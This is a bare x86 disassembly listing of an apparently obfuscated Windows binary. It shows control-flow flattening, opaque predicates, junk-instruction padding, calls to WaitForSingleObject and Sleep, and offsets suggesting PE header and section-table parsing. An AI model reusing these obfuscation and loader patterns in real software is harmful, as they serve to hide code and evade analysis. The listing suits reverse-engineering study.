cmovne edx, esi
test cl, cl
mov ecx, edx
cmovne ecx, edi
test al, al
cmovne ecx, edx
mov eax, ecx
jmp 0x402340
cmp eax, 0x64847afb
je 0x40be8c
cmp eax, 0x656b4010
jne 0x402340
mov eax, 0x31f1a0ff
jmp 0x402340
cmp eax, 0xdf6f47dd
je 0x40bf8e
cmp eax, 0xdfcbe96f
jne 0x402340
mov eax, 0x6e1bc21e
jmp 0x402340
cmp eax, 0x10de3401
je 0x40c0ca
cmp eax, 0x1188f045
jne 0x402340
mov eax, 0xbc7c53f9
jmp 0x402340
cmp eax, 0x8f1accea
je 0x40c0d4
cmp eax, 0x8fb7fd6f
jne 0x402340
movzx eax, word [ebp - 0xd0]
mov dword [ebp - 0x148], eax
mov eax, 0x63160ff1
jmp 0x402340
cmp eax, 0x53af7411
je 0x40c0ef
cmp eax, 0x53fe98a8
jne 0x402340
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x138]
sub ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov eax, 0xbd771d62
jmp 0x402340
cmp eax, 0xcbadc01b
je 0x40c108
cmp eax, 0xcc6b58ed
jne 0x402340
mov eax, 0xb68cf630
jmp 0x402340
cmp eax, 0x292ef076
je 0x40c123
cmp eax, 0x2ad3ed81
jne 0x402340
mov ecx, dword [0x477984]
mov edi, 0x437feff2
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x55f0f5a8
mov ecx, eax
xor ecx, 0x358ae3b5
and edx, 0xaa0f0a57
andn ecx, eax, ecx
or edx, esi
mov eax, edx
mov esi, edx
xor eax, 0xaa0f0a57
xor esi, 0x9f85e9e2
xor edx, 0x50b08108
and esi, eax
and edx, 0xf0bb814a
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xca751c4b
and esi, 0x358ae3b4
or ecx, esi
mov esi, eax
and esi, 0xf447eb5
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0x8011814b
xor esi, 0x9002eb4
or eax, edx
and esi, 0x79aa2eb4
and eax, 0x8655d14b
or eax, esi
mov esi, 0xcac58bf7
xor eax, 0x8655d14b
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x18a7fa0d
and ecx, 0xe75805f2
or eax, ecx
mov ecx, eax
xor ecx, 0x1827520d
xor eax, 0x27400140
and ecx, 0xd83f56bf
and eax, 0x27c0a940
or eax, ecx
xor eax, 0x27c0a940
setne dl
sete ah
cmp dword [0x477980], 0xa
setge al
setl ch
mov cl, al
and ch, dl
and al, ah
xor cl, ah
or al, ch
and cl, ah
mov ah, al
mov edx, ecx
xor ah, 1
xor dl, 1
and al, dl
or dl, ah
and ah, cl
mov ecx, 0x437feff2
or ah, al
mov al, dl
xor al, ah
cmovne ecx, esi
test ah, ah
mov eax, ecx
cmovne eax, edi
test dl, dl
cmovne eax, ecx
jmp 0x402340
cmp eax, 0xb0c73f85
je 0x40c134
cmp eax, 0xb28b3d55
jne 0x402340
cmp byte [ebp - 0x8b], 0
mov eax, 0xadcba5fb
mov ecx, 0x858fb290
cmovne eax, ecx
jmp 0x402340
cmp eax, 0x72721dd4
je 0x40c219
cmp eax, 0x7365f9b5
jne 0x402340
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
mov eax, ecx
not eax
and ecx, 0x8026fb36
and eax, 0x7fd904c9
or eax, ecx
mov esi, eax
xor esi, 0x7fd904c9
mov edx, eax
and eax, 0x40000000
xor edx, 0x22b900
mov ecx, esi
and esi, 0xbfffffff
or ecx, 0x40000000
and edx, 0x17fabd48
or eax, esi
mov edi, ecx
and edi, 0xe80542b7
mov esi, eax
not esi
and eax, 0x17fabd48
or edx, edi
or ecx, esi
and esi, 0xe80542b7
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov edx, ecx
xor edx, 0x28b0efdd
mov eax, ecx
and eax, 0x8208c10
and edx, ecx
not ecx
and ecx, 0x209063cd
mov esi, edx
not esi
and edx, 0xe2873421
or eax, ecx
mov ecx, eax
xor ecx, 0x400
xor eax, 0xf7df73ef
mov edi, eax
or eax, esi
and esi, 0x1d78cbde
and edi, 0x1d78cbde
and ecx, 0x20802401
or ecx, edi
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x28b0efdd
and ecx, 0xd74f1022
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x74480383
and ecx, 0x8bb7fc7c
or eax, ecx
xor eax, 0x8bb7fc7c
mov dword [ebp - 0x1a0], eax
mov eax, 0x188c7b21
jmp 0x402340
cmp eax, 0xefe554af
je 0x40c251
cmp eax, 0xf13080c3
jne 0x402340
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 1
and eax, 0x1a62dcdf
mov esi, edx
and esi, 0xfffffffe
and edx, 0xe59d2320
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0xe69fd9b0
mov esi, edx
and esi, 0x1960264f
or ecx, esi
mov esi, eax
xor esi, 0x202d890
xor eax, 0x1002200
and eax, 0x1960264f
and esi, 0xe69fd9b0
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xd2800225
sete cl
setne dl
cmp dword [0x477980], 0xa
setl ah
setge al
and dl, al
and ah, cl
or ah, dl
mov dl, ah
xor dl, al
xor al, cl
and dl, ah
xor dl, 1
mov ecx, edx
xor dl, al
or cl, al
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0x515fcfb9
cmovne edx, esi
test cl, cl
mov ecx, 0x515fcfb9
jmp 0x402330
cmp eax, 0xa245375
je 0x40c264
cmp eax, 0xb117b06
jne 0x402340
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 0x34
mov dword [ebp - 0xe0], eax
mov eax, 0xbb611324
jmp 0x402340
cmp eax, 0x85f4c393
je 0x40c28f
cmp eax, 0x8648241e
jne 0x402340
mov eax, dword [0x477984]
mov edi, 0x6ec5b2ad
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
mov eax, ecx
or eax, 1
not esi
and ecx, 0xfa1bd4cb
mov edx, esi
and eax, 0xc7a378db
and edx, 0x385c8724
or edx, eax
mov eax, esi
or eax, 0xc7a378da
and esi, 0x5e42b34
and eax, 0xc7a378db
or ecx, esi
xor eax, edx
mov edx, eax
not edx
mov esi, eax
and esi, 0x82949a25
and edx, 0x7d6b65da
or edx, esi
mov esi, ecx
xor esi, 0x780b44ca
xor ecx, 0x5e42b34
or eax, ecx
and ecx, 0x82949a25
and esi, 0x7d6b65da
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x41812b7f
mov ecx, eax
not ecx
and eax, 0x15bab333
and ecx, 0xea454ccc
or eax, ecx
xor eax, 0x15bab333
sete ch
setne ah
cmp dword [0x477980], 0xa
setge dl
mov cl, dl
or dl, ah
inc cl
xor dl, 1
mov al, cl
mov dh, cl
xor cl, ch
xor al, ah
or dh, ah
or dl, cl
xor cl, 1
not al
and al, ah
mov ah, cl
or cl, dl
xor al, 1
xor ah, dl
xor cl, 1
mov ebx, eax
or al, dh
or cl, ah
xor bl, dh
xor al, 1
or al, bl
xor al, 1
mov edx, eax
xor al, cl
or dl, cl
mov ch, al
xor ch, dl
test al, 1
mov eax, 0x6ec5b2ad
cmovne eax, esi
test dl, 1
cmovne eax, edi
test ch, 1
cmove eax, esi
jmp 0x402340
cmp eax, 0x4b5fe6ee
je 0x40c340
cmp eax, 0x4c5037f3
jne 0x402340
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, 0x98182313
jmp 0x402340
cmp eax, 0xc4342a0d
je 0x40c353
cmp eax, 0xc666bf02
jne 0x402340
mov eax, dword [ebp - 0xa4]
mov eax, 0x196e6df6
jmp 0x402340
cmp eax, 0x1f74e2c5
je 0x40c360
cmp eax, 0x1fdda379
jne 0x402340
cmp dword [ebp - 0x19c], 0
mov eax, 0x5b5ae1cd
mov ecx, 0x4811d180
cmovns eax, ecx
jmp 0x402340
cmp eax, 0xaa9a1caf
je 0x40c36a
cmp eax, 0xaaf97333
jne 0x402340
mov eax, 0x1bdaf48f
jmp 0x402340
cmp eax, 0x6bd01534
je 0x40c389
cmp eax, 0x6c8f2724
jne 0x402340
mov eax, dword [ebp - 0x70]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
rcr edi, 0x9f
rcr edx, 0x22
dec ebx
dec esi
bswap edx
not eax
dec ebx
or eax, 0xa1
mov eax, 0x9b
or edi, 0x94
or edi, 0x57
dec eax
rol esi, 0x82
neg esi
imul eax
not ebx
rcr esi, 0x62
neg ebx
bswap esi
inc edx
inc edi
neg esi
and esi, 0x29
mov ebx, 0x78
and eax, 0x76
mov edx, 2
dec edx
imul eax
bswap edi
or edi, 0x23
mov edi, 0xa9
ror eax, 0xce
dec edx
or eax, 0x72
sub ebx, 0xac
add edx, 0x79
rcr ebx, 0x7e
bswap edi
rcl edx, 0x7e
rol eax, 0x71
inc ebx
dec esi
imul ebx
mov edx, 0x19
ror esi, 0x3c
and edi, 0xaa
neg edx
bswap esi
inc edi
inc esi
or esi, 0x98
or eax, 0xea
add ebx, 0x69
rol esi, 0x3f
not esi
neg edi
ror esi, 0x83
ror edi, 0x79
imul edi
neg edx
bswap esi
inc eax
add esi, 0x63
ror edi, 0x51
rol edi, 0xca
rol eax, 0x70
inc edx
rol edi, 0xa7
not ebx
bswap esi
imul eax
add esi, 0xd8
sub eax, 0xbb
dec edi
inc esi
and edi, 0x40
sbb edi, 0xb8
mov edx, 0x2a
mov esi, 0xf1
rcl ebx, 0x8a
inc esi
not edi
not esi
dec eax
ror ebx, 0xcc
rcl edx, 0x3b
neg edx
inc esi
imul edx
or edi, 0xcf
imul esi
imul ebx
inc esi
mov edx, 0xd8
or eax, 0xc6
imul eax
ror edi, 0x2c
dec edx
and esi, 0xfc
bswap esi
neg edx
rcl edi, 9
neg esi
not edx
neg edx
sbb eax, 0x57
imul eax
bswap edi
sub esi, 0xd8
neg edx
not ebx
inc edi
neg ebx
and eax, 8
inc edi
sub edx, 0x6a
sub edi, 0x27
rol edx, 0xe1
mov esi, 0x95
sub esi, 0xce
inc esi
not esi
sub edx, 0x29
dec esi
not ebx
inc edi
and edi, 0x1b
mov esi, 0x6f
dec esi
and edx, 9
rol edx, 0x5d
or eax, 0xec
inc ebx
ror edx, 0xd5
and ebx, 0x9d
inc edi
sbb ebx, 0x4e
not ebx
and edx, 0x6d
not eax
sbb eax, 0xef
rcl ebx, 0x67
dec ebx
dec eax
dec eax
ror eax, 0x11
rcr esi, 0x73
mov esi, 0x60
bswap edx
bswap edx
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x44]
mov ecx, dword [0x477984]
mov dword [ebp - 0x1c], 0
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x91f4e618
and eax, 0x336bbb52
mov esi, ecx
and esi, 0x6e0b19e6
or edx, esi
mov esi, edx
xor esi, 0x11a40200
xor edx, 0x62031183
and edx, 0xe253f59b
and esi, 0x1dac0a64
or esi, edx
mov edx, ecx
or edx, 0xe253f59a
and ecx, 0xcc9444ad
and edx, 0xe253f59b
or eax, ecx
xor edx, esi
xor eax, 0x336bbb52
mov esi, 0x338999bd
not edx
or eax, edx
xor eax, 0xffffffff
sete cl
setne ah
cmp dword [0x477980], 0xa
setge dl
setl ch
mov al, dl
and ch, ah
and al, cl
xor cl, dl
and cl, dl
xor dl, ah
or al, ch
or dl, cl
mov ecx, edx
mov ah, dl
not cl
and cl, dl
xor cl, 1
xor ah, cl
or cl, dl
mov edx, eax
xor cl, 1
or cl, ah
mov ah, al
xor ah, 1
mov ch, cl
and dl, ah
xor ch, 1
xor dl, 1
or dl, ah
xor ah, ch
xor dl, 1
or dl, al
mov dh, dl
and dl, ch
xor dh, 1
and dh, cl
or cl, al
xor cl, 1
or dl, dh
or cl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xaaf97333
cmovne eax, esi
test cl, 1
mov esi, 0xaaf97333
cmovne esi, eax
test dl, 1
cmove esi, eax
mov eax, esi
jmp 0x402340
cmp eax, 0xe78a198a
je 0x40c47c
cmp eax, 0xe811b0ab
jne 0x402340
mov eax, 0xbcb3be83
jmp 0x402340
cmp eax, 0x183d9a69
je 0x40c486
cmp eax, 0x188c7b21
jne 0x402340
cmp dword [ebp - 0x1a0], 0
mov eax, 0x5830a152
mov ecx, 0x8549ca23
cmove eax, ecx
jmp 0x402340
cmp eax, 0x942f423c
je 0x40c67a
cmp eax, 0x95f49c7e
jne 0x402340
mov eax, dword [ebp - 0x20]
mov dword [eax], 7
mov eax, 0x20897045
jmp 0x402340
cmp eax, 0x5ac8749c
je 0x40c687
cmp eax, 0x5b5ae1cd
jne 0x402340
mov eax, dword [ebp - 0x68]
mov dword [eax], 4
mov eax, 0x5be09b7c
jmp 0x402340
cmp eax, 0xd586e389
je 0x40c697
cmp eax, 0xd5fabe8f
jne 0x402340
mov eax, 0xd079fe29
jmp 0x402340
cmp eax, 0x33821ca0
je 0x40c7d3
cmp eax, 0x338999bd
jne 0x402340
mov eax, dword [ebp - 0x70]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
rcr edi, 0x9f
rcr edx, 0x22
dec ebx
dec esi
bswap edx
not eax
dec ebx
or eax, 0xa1
mov eax, 0x9b
or edi, 0x94
or edi, 0x57
dec eax
rol esi, 0x82
neg esi
imul eax
not ebx
rcr esi, 0x62
neg ebx
bswap esi
inc edx
inc edi
neg esi
and esi, 0x29
mov ebx, 0x78
and eax, 0x76
mov edx, 2
dec edx
imul eax
bswap edi
or edi, 0x23
mov edi, 0xa9
ror eax, 0xce
dec edx
or eax, 0x72
sub ebx, 0xac
add edx, 0x79
rcr ebx, 0x7e
bswap edi
rcl edx, 0x7e
rol eax, 0x71
inc ebx
dec esi
imul ebx
mov edx, 0x19
ror esi, 0x3c
and edi, 0xaa
neg edx
bswap esi
inc edi
inc esi
or esi, 0x98
or eax, 0xea
add ebx, 0x69
rol esi, 0x3f
not esi
neg edi
ror esi, 0x83
ror edi, 0x79
imul edi
neg edx
bswap esi
inc eax
add esi, 0x63
ror edi, 0x51
rol edi, 0xca
rol eax, 0x70
inc edx
rol edi, 0xa7
not ebx
bswap esi
imul eax
add esi, 0xd8
sub eax, 0xbb
dec edi
inc esi
and edi, 0x40
sbb edi, 0xb8
mov edx, 0x2a
mov esi, 0xf1
rcl ebx, 0x8a
inc esi
not edi
not esi
dec eax
ror ebx, 0xcc
rcl edx, 0x3b
neg edx
inc esi
imul edx
or edi, 0xcf
imul esi
imul ebx
inc esi
mov edx, 0xd8
or eax, 0xc6
imul eax
ror edi, 0x2c
dec edx
and esi, 0xfc
bswap esi
neg edx
rcl edi, 9
neg esi
not edx
neg edx
sbb eax, 0x57
imul eax
bswap edi
sub esi, 0xd8
neg edx
not ebx
inc edi
neg ebx
and eax, 8
inc edi
sub edx, 0x6a
sub edi, 0x27
rol edx, 0xe1
mov esi, 0x95
sub esi, 0xce
inc esi
not esi
sub edx, 0x29
dec esi
not ebx
inc edi
and edi, 0x1b
mov esi, 0x6f
dec esi
and edx, 9
rol edx, 0x5d
or eax, 0xec
inc ebx
ror edx, 0xd5
and ebx, 0x9d
inc edi
sbb ebx, 0x4e
not ebx
and edx, 0x6d
not eax
sbb eax, 0xef
rcl ebx, 0x67
dec ebx
dec eax
dec eax
ror eax, 0x11
rcr esi, 0x73
mov esi, 0x60
bswap edx
bswap edx
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], 0
mov eax, 0x6c8f2724
jmp 0x402340
cmp eax, 0xb9d1881c
je 0x40c7dd
cmp eax, 0xba917f60
jne 0x402340
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x40]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0xc]
mov dword [ebp - 0x174], eax
mov eax, 0x138259b7
jmp 0x402340
cmp eax, 0x77d1f75c
je 0x40c7e7
cmp eax, 0x786c9200
jne 0x402340
mov eax, dword [ebp - 0x94]
mov ecx, 0x3e5faf
cmp dword [eax], 0
mov eax, 0xc39ea0cc
cmove eax, ecx
jmp 0x402340
cmp eax, 0xfa22c826
je 0x40cb57
cmp eax, 0xfe468e64
jne 0x402340
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov dword [eax], 0
mov eax, 0x8a47a1a1
jmp 0x402340
cmp eax, 0x713157f
je 0x40cb70
cmp eax, 0x7f55b38
jne 0x402340
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x1b4], eax
mov eax, 0x6f160af5
jmp 0x402340
cmp eax, 0x81fec4d3
je 0x40cb86
cmp eax, 0x84c67068
jne 0x402340
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0xfcd4a38a
mov edi, edx
mov esi, ecx
and esi, 0xf96f7b69
and edi, 0x2000414
and edx, 0x10ffaa23
or edi, esi
mov esi, eax
xor esi, 0x32b5c75
and esi, eax
and eax, 0xef0055dc
mov ebx, esi
not ebx
and esi, 0x6908496
or eax, edx
or ecx, ebx
and ebx, 0xf96f7b69
mov edx, eax
xor edx, 0xef0055dc
xor eax, 0x10ffaa23
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x32b5c74
and esi, 0xfcd4a38b
or ecx, esi
mov esi, 0xc7f6bdac
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
sete dl
setne ah
cmp dword [0x477980], 0xa
setge al
setl ch
mov cl, al
mov dh, ch
or al, ah
xor dh, ah
and ah, ch
xor ch, dl
xor al, 1
and cl, dl
or al, ch
mov dl, dh
or cl, ah
xor dl, al
or al, dh
xor al, 1
or al, dl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x4cffd58c
cmovne edx, esi
test al, 1
mov eax, 0x4cffd58c
jmp 0x40c46f
cmp eax, 0x4510cd44
je 0x40cb93
cmp eax, 0x46a6a113
jne 0x402340
mov eax, dword [ebp - 0x5c]
push 0x400
push dword [eax]
push dword [ebp - 0xe8]
vzeroupper
call fcn.00446ea0
add esp, 0xc
neg edx
neg edx
sub esi, 0xc7
not eax
not eax
not esi
neg ebx
add eax, 0x6c
and eax, 0xf0
mov ebx, 0xcf
dec edi
rcr esi, 0x87
and edi, 0xca
mov edx, 0xaa
neg edi
rcl eax, 0xba
and esi, 0xfe
dec edx
rcr eax, 0xbd
imul edx
imul edx
imul eax
rcl eax, 0x83
not edi
imul eax
rcr esi, 0x90
imul eax
sbb edi, 0xcc
rol edx, 0xce
inc eax
or ebx, 0x72
imul ebx
and eax, 0x85
neg edx
rol eax, 0x3e
and edi, 0x30
inc esi
inc esi
not edi
dec esi
rcl esi, 0xf7
mov edx, 0xa8
and esi, 0xbf
imul edx
sub edx, 0x49
bswap edx
bswap ebx
inc edi
imul edx
not edx
imul ebx
bswap ebx
rcl ebx, 0x27
and eax, 0x82
bswap edx
sbb edx, 0x8f
bswap eax
rol esi, 0x48
sbb esi, 0x5b
rcl edi, 0xf1
ror eax, 0x9f
bswap esi
bswap ebx
ror ebx, 0xba
neg esi
mov esi, 0xbe
imul edi
rcl edx, 0xb2
not edi
dec edi
bswap edi
rcl eax, 0xc4
imul edx
add edi, 0x2c
bswap esi
sbb edx, 0x7c
mov eax, 0x19
inc ebx
bswap ebx
rcr edi, 0x14
not edx
rcl esi, 0xe
and edi, 0xd7
or edx, 1
imul esi
bswap edx
ror edx, 0xf8
rcl edi, 0xc6
imul esi
bswap ebx
rcr eax, 0xbd
imul ebx
bswap edx
rol eax, 0xa2
add edx, 0x1f
add edx, 0x8c
mov esi, 0x65
rcl edi, 0x59
not edi
rol esi, 0x4b
inc ebx
or edi, 0x3c
rol edx, 0xe7
sbb ebx, 0xc2
mov edi, 0xb2
add ebx, 0xe9
rcr eax, 0x51
inc edx
imul edx
not eax
mov edi, 0x33
rcr edx, 0x27
imul eax
sub edi, 0x6a
sbb edi, 0x5e
mov ebx, 0x13
not eax
and eax, 0x75
not ebx
ror eax, 0x10
neg edx
imul edx
bswap esi
bswap eax
or esi, 0x25
inc esi
imul edx
neg edx
add edx, 0xa1
mov esi, 0x47
inc esi
imul esi
neg edx
dec edx
ror edi, 0x20
sub esi, 0x33
not eax
ror edx, 0xbc
inc ebx
neg eax
imul esi
imul edi
bswap ebx
inc eax
rcr eax, 0xfb
add esi, 0xb0
sbb ebx, 0x54
bswap edx
or eax, 0x7c
imul ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
mov dword [ebp - 0x130], eax
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x370f75aa
not eax
mov esi, eax
and edx, ecx
and esi, 0x370f75aa
and ecx, 0xf6921551
and eax, 0x96deaae
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x750e2b50
and esi, 0x8af1d4af
or edx, esi
mov esi, edx
xor esi, 0x14aaa
xor edx, 0xbdfea104
mov edi, edx
and edi, 0xf6921551
and esi, 0x96deaae
or esi, edi
xor eax, esi
mov esi, 0xec9a8cc2
not eax
or eax, edx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x477980], 0xa
setl cl
setge al
mov ch, cl
and dl, cl
or cl, ah
and al, ah
or al, dl
xor ch, ah
xor cl, 1
xor al, 1
or cl, ch
mov edx, eax
or al, cl
xor dl, cl
mov ebx, eax
xor bl, dl
test al, al
mov eax, 0x9b280b2f
cmovne eax, esi
test dl, dl
mov edx, 0x9b280b2f
cmove eax, esi
test bl, bl
cmove eax, edx
jmp 0x402340
cmp eax, 0xc1577a6c
je 0x40cb9d
cmp eax, 0xc1bedd10
jne 0x402340
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0xfc], eax
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edi, ecx
xor edi, 0x65654e33
not eax
mov edx, eax
and edx, 0x65654e33
and edi, ecx
and eax, 0xad75c91c
or edi, edx
mov edx, edi
not edx
and edi, 0x2fbfb867
and edx, 0xd0404798
or edi, edx
mov edx, edi
xor edi, 0xa5250908
xor edx, 0x4adaf655
mov esi, edx
or edx, ecx
and ecx, 0x528a36e3
and esi, 0x528a36e3
and edi, 0xad75c91c
or edi, esi
or eax, ecx
not edx
mov esi, 0xfef0fa84
xor eax, edi
or edx, eax
mov eax, edx
not eax
and edx, 0x5ced5528
and eax, 0xa312aad7
or edx, eax
xor edx, 0x5ced5528
setne dl
sete ch
cmp dword [0x477980], 0xa
setl ah
setge cl
mov al, ah
and dl, ah
and cl, ch
xor al, ch
or cl, dl
mov dh, al
and al, ah
or ah, ch
xor ah, 1
and dh, ch
xor al, 1
or cl, ah
xor dh, 1
mov ah, cl
mov bl, dh
xor ah, 1
xor bl, al
or al, dh
mov dl, ah
xor al, 1
and dl, cl
or al, bl
xor ah, dl
xor dl, 1
mov ch, al
or dl, cl
mov cl, al
xor dl, 1
xor cl, 1
or dl, ah
and cl, dl
xor dl, 1
xor ch, dl
and dl, al
and ch, al
or dl, cl
mov eax, 0xfef0fa84
mov cl, ch
xor cl, dl
test dl, 1
mov edx, 0xd23f2c0
jmp 0x40a4d7
cmp eax, 0x1e0420a6
je 0x40cbaa
cmp eax, 0x1e0dc337
jne 0x402340
mov eax, dword [0x477984]
mov edi, 0x53049891
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xef7824b7
mov eax, edx
and eax, 0x1a491ab3
and ecx, edx
not edx
and edx, 0xe5b6e54c
or eax, edx
mov edx, eax
xor eax, 0xe5302404
xor edx, 0x8080000
mov esi, eax
or esi, 0x1004c908
and edx, 0xcd180404
and esi, 0x3264e9bb
or edx, esi
mov esi, ecx
not esi
and ecx, 0xcd9b1644
or eax, esi
and esi, 0x3264e9bb
or ecx, esi
not eax
mov esi, 0xb28b3d55
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x1087db48
and eax, 0xef7824b7
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x2412853
and eax, 0xd9b2c28c
and ecx, 0x240c1520
or edx, ecx
xor edx, 0x2412853
or eax, edx
mov ecx, eax
not ecx
and eax, 0xef0edcc9
and ecx, 0x10f12336
or eax, ecx
xor eax, 0xc943e1ba
sete cl
setne al
cmp dword [0x477980], 0xa
mov edx, ecx
setge ah
xor dl, ah
and al, ah
or cl, ah
xor dl, 1
xor cl, 1
or al, dl
and dl, ah
mov ah, al
or dl, cl
xor ah, 1
xor dl, 1
mov cl, ah
mov ch, dl
and cl, al
xor ah, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, ah
mov eax, 0x53049891
xor cl, 1
or ch, cl
xor cl, dl
mov edx, ecx
xor dl, ch
test cl, 1
cmovne eax, esi
test ch, 1
cmovne eax, edi
jmp 0x407db0
cmp eax, 0xa7f03d50
je 0x40cd60
cmp eax, 0xa8016451
jne 0x402340
mov eax, dword [0x477984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x9347842b
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0x6cb87bd4
and eax, 0x9347842b
or eax, ecx
mov edi, eax
xor edi, 0xfd1b0c4c
mov edx, eax
and edx, 0xbceb2e31
and edi, eax
not eax
and eax, 0x4314d1ce
or edx, eax
mov ecx, edx
xor edx, 0x4314d1ce
xor ecx, 0xbceb2e31
mov eax, edx
or eax, 0x2e4f3b3
mov ebx, ecx
and ebx, 0x28000804
and edx, 0x9c5bd7c
mov esi, eax
and esi, 0xd57be56a
or ebx, esi
mov esi, edi
not esi
and edi, 0x2a841a95
or eax, esi
and esi, 0xd57be56a
or edi, esi
not eax
xor edi, ebx
or eax, edi
mov edi, ecx
and edi, 0xf63a4283
and ecx, 1
mov esi, eax
not esi
or edi, edx
and eax, 0x2e87005f
and esi, 0xd178ffa0
mov edx, edi
xor edx, 0x9c5bd7d
xor edi, 0xc6120080
or eax, esi
or ecx, edx
and edi, 0xc79314e4
mov ebx, eax
xor ebx, 0xc3900400
xor eax, 0x2c63f3ed
mov edx, eax
or eax, ecx
and ecx, 0x386ceb1b
and edx, 0x386ceb1b
and ebx, 0xc79314e4
or ebx, edx
or edi, ecx
not eax
xor edi, ebx
or eax, edi
mov edx, eax
xor edx, 0xac6038b7
mov ecx, eax
and ecx, 0x5576c1ae
and edx, eax
not eax
and eax, 0xaa893e51
or ecx, eax
mov eax, ecx
xor ecx, 0xa8003811
xor eax, 0x46000a4
mov esi, ecx
or esi, 0x3894108
and eax, 0xac6008b4
and esi, 0x389710b
or eax, esi
mov esi, edx
not esi
and edx, 0xfc768ef4
or ecx, esi
and esi, 0x389710b
or edx, esi
not ecx
mov esi, 0x17481e59
xor edx, eax
or ecx, edx
not edx
and edx, 0x539fc748
and ecx, 0xac6038b7
or ecx, edx
sete ah
setne cl
cmp dword [0x477980], 0xa
setge al
setl ch
mov edx, eax
or al, cl
xor dl, cl
xor cl, ch
and dl, ah
not cl
and cl, ch
xor dl, 1
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
mov edx, ecx
and ah, al
xor al, 1
xor dl, 1
and dl, al
or dl, ah
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x42af394d
cmovne ecx, esi
test al, 1
mov eax, 0x42af394d
jmp 0x40b780
mov eax, dword [ebp - 0xac]
